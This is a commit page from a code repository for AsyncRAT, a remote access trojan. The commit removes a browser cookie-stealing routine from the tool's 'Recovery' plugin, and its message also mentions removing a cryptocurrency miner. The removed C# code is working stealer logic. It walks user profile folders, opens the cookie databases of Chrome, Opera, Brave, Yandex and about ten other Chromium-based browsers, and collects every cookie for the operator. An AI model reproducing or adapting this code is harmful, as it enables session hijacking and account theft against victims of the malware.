Sapphire/AsyncRAT-C-Sharp
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

update

Browse Source 
removed xmr miner
added get active window title
updated chrome recovery
added feature change wallpaper
This commit is contained in:
NYAN CAT 2020-03-26 06:38:50 +03:00
parent 5224ce28f6
commit fd05091f11
2 changed files with 0 additions and 109 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

108
AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/Chromium/Chromium.cs
View File

@ -13,114 +13,6 @@ namespace Plugin.Browsers.Chromium
public static string LocalApplicationData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
public static string ApplicationData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
public void CookiesRecovery(StringBuilder Coocks)
{
try
{
foreach (string str in this.GetAppDataFolders())
{
try
{
string[] browser = {
str + "\\Local\\Google\\Chrome\\User Data\\Default\\Cookies",
str + "\\Roaming\\Opera Software\\Opera Stable\\Cookies",
str + "\\Local\\Vivaldi\\User Data\\Default\\Cookies",
str + "\\Local\\Chromium\\User Data\\Default\\Cookies",
str + "\\Local\\Torch\\User Data\\Default\\Cookies",
str + "\\Local\\Comodo\\Dragon\\User Data\\Default\\Cookies",
str + "\\Local\\Xpom\\User Data\\Default\\Cookies",
str + "\\Local\\Orbitum\\User Data\\Default\\Cookies",
str + "\\Local\\Kometa\\User Data\\Default\\Cookies",
str + "\\Local\\Amigo\\User Data\\Default\\Cookies",
str + "\\Local\\Nichrome\\User Data\\Default\\Cookies",
str + "\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Cookies",
str + "\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies",
str + "\\Local\\Blisk\\User Data\\Default\\Cookies"
};
int selected = 0;
foreach (string b in browser)
{
if (File.Exists(b))
{
SQLiteHandler sqliteHandler = new SQLiteHandler(b);
try
{
sqliteHandler.ReadTable("cookies");
}
catch
{
}
switch (selected)
{
case 0:
Coocks.Append("\rtf1\ansi\n\n== Chrome ==========\b0\n");
break;
case 1:
Coocks.Append("\n== Opera ===========\n");
break;
case 2:
Coocks.Append("\n== Vivaldi ===========\n");
break;
case 3:
Coocks.Append("\n== Chromium ===========\n");
break;
case 4:
Coocks.Append("\n== Torch ===========\n");
break;
case 5:
Coocks.Append("\n== Comodo ===========\n");
break;
case 6:
Coocks.Append("\n== Xpom ===========\n");
break;
case 7:
Coocks.Append("\n== Orbitum ===========\n");
break;
case 8:
Coocks.Append("\n== Kometa ===========\n");
break;
case 9:
Coocks.Append("\n== Amigo ===========\n");
break;
case 10:
Coocks.Append("\n== Nichrome ===========\n");
break;
case 11:
Coocks.Append("\n== Brave ===========\n");
break;
case 12:
Coocks.Append("\n== Yandex ===========\n");
break;
}
List<ChromiumCookies.ChromiumCookie> ffcs = ChromiumCookies.Cookies(b);
foreach (ChromiumCookies.ChromiumCookie fcc in ffcs)
{
Coocks.Append(string.Concat(new string[]
{
fcc.ToString(),
"\n\n",
}));
}
Coocks.Append("\n");
}
selected++;
}
}
catch (Exception)
{
}
}
}
catch
{
}
}
public static StringBuilder Recovery(StringBuilder stringBuilder)
{
Dictionary<string, string> ChromiumPaths = new Dictionary<string, string>()

1
AsyncRAT-C#/Plugin/Recovery/Recovery/Recovery.csproj
View File

@ -60,7 +60,6 @@
<Compile Include="Browsers\Chromium\AesGcm.cs" />
<Compile Include="Browsers\Chromium\BCrypt.cs" />
<Compile Include="Browsers\Chromium\Chromium.cs" />
<Compile Include="Browsers\Chromium\ChromiumCookies.cs" />
<Compile Include="Browsers\CredentialModel.cs" />
<Compile Include="Browsers\Firefox\Cookies\FFCookiesGrabber.cs" />
<Compile Include="Browsers\Firefox\FFDecryptor.cs" />